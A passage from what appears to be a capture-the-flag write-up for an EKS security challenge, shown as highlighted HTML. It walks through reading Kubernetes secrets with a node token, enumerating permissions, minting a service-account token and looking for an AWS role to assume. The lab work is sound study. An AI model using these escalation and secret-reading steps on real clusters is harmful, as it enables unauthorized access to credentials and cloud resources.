[/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ePerfect! We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e jq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{only_a_real_pro_can_navigate_\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou've successfully transitioned from a limited Service Account to a Node\nService Account! Great job. Your next challenge is to move from the EKS to the\nAWS account.\n\nCan you acquire the AWS role of the s3access-sa service account, and get the flag?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start with checking what access we do have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e whoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ls\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNope! So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So let us see if that will get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $TOKEN \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/.well-known/openid-configuration] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openid/v1/jwks] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have less access than before. So not too helpful, let us take a\nlook at that service account we want to become:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sa\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3access-sa\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ServiceAccount\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"annotations\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"eks.amazonaws.com/role-arn\"\u003c/span\u003e\u003cspan 